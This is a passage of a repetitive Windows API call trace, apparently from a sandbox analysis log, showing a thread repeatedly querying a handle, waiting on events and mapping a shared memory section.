(hEvent=0x114) returned 1 [0259.567] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.567] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.567] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.567] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.567] ResetEvent (hEvent=0x110) returned 1 [0259.567] SetEvent (hEvent=0x114) returned 1 [0259.567] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.567] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.567] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.568] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.568] ResetEvent (hEvent=0x110) returned 1 [0259.568] SetEvent (hEvent=0x114) returned 1 [0259.568] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.568] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.568] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.568] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.568] ResetEvent (hEvent=0x110) returned 1 [0259.568] SetEvent (hEvent=0x114) returned 1 [0259.568] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.568] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.568] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.568] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.568] ResetEvent (hEvent=0x110) returned 1 [0259.568] SetEvent (hEvent=0x114) returned 1 [0259.568] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.568] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.568] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.569] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.569] ResetEvent (hEvent=0x110) returned 1 [0259.569] SetEvent (hEvent=0x114) returned 1 [0259.569] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.569] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.569] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.569] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.569] ResetEvent (hEvent=0x110) returned 1 [0259.569] SetEvent (hEvent=0x114) returned 1 [0259.569] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.569] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.569] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.569] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.569] ResetEvent (hEvent=0x110) returned 1 [0259.569] SetEvent (hEvent=0x114) returned 1 [0259.569] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.569] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.569] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.569] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.570] ResetEvent (hEvent=0x110) returned 1 [0259.570] SetEvent (hEvent=0x114) returned 1 [0259.570] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.570] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.570] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.570] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.570] ResetEvent (hEvent=0x110) returned 1 [0259.570] SetEvent (hEvent=0x114) returned 1 [0259.570] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.570] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.570] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.570] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.570] ResetEvent (hEvent=0x110) returned 1 [0259.570] SetEvent (hEvent=0x114) returned 1 [0259.570] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.570] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.570] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.570] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.571] ResetEvent (hEvent=0x110) returned 1 [0259.571] SetEvent (hEvent=0x114) returned 1 [0259.571] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.571] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.571] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.571] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.571] ResetEvent (hEvent=0x110) returned 1 [0259.571] SetEvent (hEvent=0x114) returned 1 [0259.571] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.571] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.571] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.571] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.571] ResetEvent (hEvent=0x110) returned 1 [0259.571] SetEvent (hEvent=0x114) returned 1 [0259.587] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.587] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.588] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.588] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.588] ResetEvent (hEvent=0x110) returned 1 [0259.588] SetEvent (hEvent=0x114) returned 1 [0259.588] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.588] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.588] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.588] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.588] ResetEvent (hEvent=0x110) returned 1 [0259.588] SetEvent (hEvent=0x114) returned 1 [0259.588] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.588] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.588] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.588] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.588] ResetEvent (hEvent=0x110) returned 1 [0259.588] SetEvent (hEvent=0x114) returned 1 [0259.588] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.588] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.589] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.589] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.589] ResetEvent (hEvent=0x110) returned 1 [0259.589] SetEvent (hEvent=0x114) returned 1 [0259.589] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.589] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.589] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.589] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.589] ResetEvent (hEvent=0x110) returned 1 [0259.589] SetEvent (hEvent=0x114) returned 1 [0259.589] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.589] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.589] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.589] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.589] ResetEvent (hEvent=0x110) returned 1 [0259.589] SetEvent (hEvent=0x114) returned 1 [0259.590] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.590] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.590] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.590] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.590] ResetEvent (hEvent=0x110) returned 1 [0259.590] SetEvent (hEvent=0x114) returned 1 [0259.590] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.590] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.590] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.590] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.590] ResetEvent (hEvent=0x110) returned 1 [0259.590] SetEvent (hEvent=0x114) returned 1 [0259.590] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.590] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.590] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.590] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.590] ResetEvent (hEvent=0x110) returned 1 [0259.590] SetEvent (hEvent=0x114) returned 1 [0259.591] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.591] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.591] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.591] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.591] ResetEvent (hEvent=0x110) returned 1 [0259.591] SetEvent (hEvent=0x114) returned 1 [0259.591] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.591] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.591] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.591] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.591] ResetEvent (hEvent=0x110) returned 1 [0259.591] SetEvent (hEvent=0x114) returned 1 [0259.591] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.591] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.591] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.591] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.591] ResetEvent (hEvent=0x110) returned 1 [0259.591] SetEvent (hEvent=0x114) returned 1 [0259.592] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.592] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.592] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.592] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.592] ResetEvent (hEvent=0x110) returned 1 [0259.592] SetEvent (hEvent=0x114) returned 1 [0259.592] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.592] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.592] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.592] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.592] ResetEvent (hEvent=0x110) returned 1 [0259.592] SetEvent (hEvent=0x114) returned 1 [0259.592] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.592] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.592] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.592] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.592] ResetEvent (hEvent=0x110) returned 1 [0259.592] SetEvent (hEvent=0x114) returned 1 [0259.593] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.593] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.593] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.593] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.593] ResetEvent (hEvent=0x110) returned 1 [0259.593] SetEvent (hEvent=0x114) returned 1 [0259.593] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.593] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.593] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.593] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.593] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.593] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.593] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.593] ResetEvent (hEvent=0x110) returned 1 [0259.593] SetEvent (hEvent=0x114) returned 1 [0259.593] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.593] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.593] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.593] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.594] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.594] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.594] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.594] ResetEvent (hEvent=0x110) returned 1 [0259.594] SetEvent (hEvent=0x114) returned 1 [0259.594] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.594] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.594] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.594] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.594] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.594] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.594] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.594] ResetEvent (hEvent=0x110) returned 1 [0259.594] SetEvent (hEvent=0x114) returned 1 [0259.594] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.594] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.594] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.594] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.594] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.595] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.595] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.595] ResetEvent (hEvent=0x110) returned 1 [0259.595] SetEvent (hEvent=0x114) returned 1 [0259.595] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.595] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.595] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.595] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.595] ResetEvent (hEvent=0x110) returned 1 [0259.595] SetEvent (hEvent=0x114) returned 1 [0259.595] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.595] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.595] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.595] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.595] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.595] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.595] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.595] ResetEvent (hEvent=0x110) returned 1 [0259.595] SetEvent (hEvent=0x114) returned 1 [0259.596] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.596] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.596] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.596] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.596] ResetEvent (hEvent=0x110) returned 1 [0259.596] SetEvent (hEvent=0x114) returned 1 [0259.596] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.596] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.596] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.596] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.596] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, 